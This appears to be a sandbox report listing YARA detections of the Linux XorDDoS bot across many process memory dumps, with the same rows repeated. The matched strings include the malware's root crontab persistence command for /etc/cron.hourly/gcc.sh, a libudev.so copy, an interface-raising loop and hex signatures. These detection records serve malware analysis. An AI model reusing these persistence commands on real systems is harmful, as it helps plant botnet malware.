6302.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6302.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6302.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6483.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6483.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6483.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6483.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6497.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6497.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6497.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6497.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6489.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6489.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6489.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6489.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6532.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6532.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6532.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6532.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6494.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6494.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6494.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6494.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6375.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6375.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6375.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6375.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6370.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6370.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6370.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6370.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6296.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6296.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6296.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6296.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6259.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6259.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6259.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6259.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6224.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6224.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6224.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6224.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6536.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6536.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6536.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6536.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6227.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6227.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6227.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6227.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6510.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6510.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6510.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6510.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6401.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6401.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6401.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6401.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6288.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6288.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6288.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6288.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6492.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6492.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6492.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6492.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6404.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6404.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6404.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6404.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6512.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6512.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6512.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6512.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6407.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6407.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6407.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6407.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6477.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6477.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6477.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6477.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6384.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6384.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6384.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
6384.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_884cab60	unknown	unknown	0x79d2:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1 0x7a3a:$a: E4 8B 51 64 F6 C2 10 75 12 89 CB 89 D1 83 C9 40 89 D0 F0 0F B1
6321.1.0000000008048000.00000000080cd000.r-x.sdmp	JoeSecurity_XorDDoS	Yara detected XorDDoS Bot	Joe Security
6321.1.0000000008048000.00000000080cd000.r-x.sdmp	MALWARE_Linux_XORDDoS	Detects XORDDoS	ditekSHen	0x84cfb:$s1: for i in `cat /proc/net/dev\|grep :\|awk -F: {'print $1'}`; do ifconfig $i up& done 0x84d4d:$s2: cp /lib/libudev.so /lib/libudev.so.6 0x696f8:$s3: sed -i '/\/etc\/cron.hourly\/gcc.sh/d' /etc/crontab && echo '/3 * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab 0x698a9:$s4: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; TencentTraveler ; .NET CLR 1.1.4322)
6321.1.0000000008048000.00000000080cd000.r-x.sdmp	Linux_Trojan_Xorddos_2aef46a6	unknown	unknown	0x69998:$a: 25 64 2D 2D 25 73 5F 25 64 3A 25 73
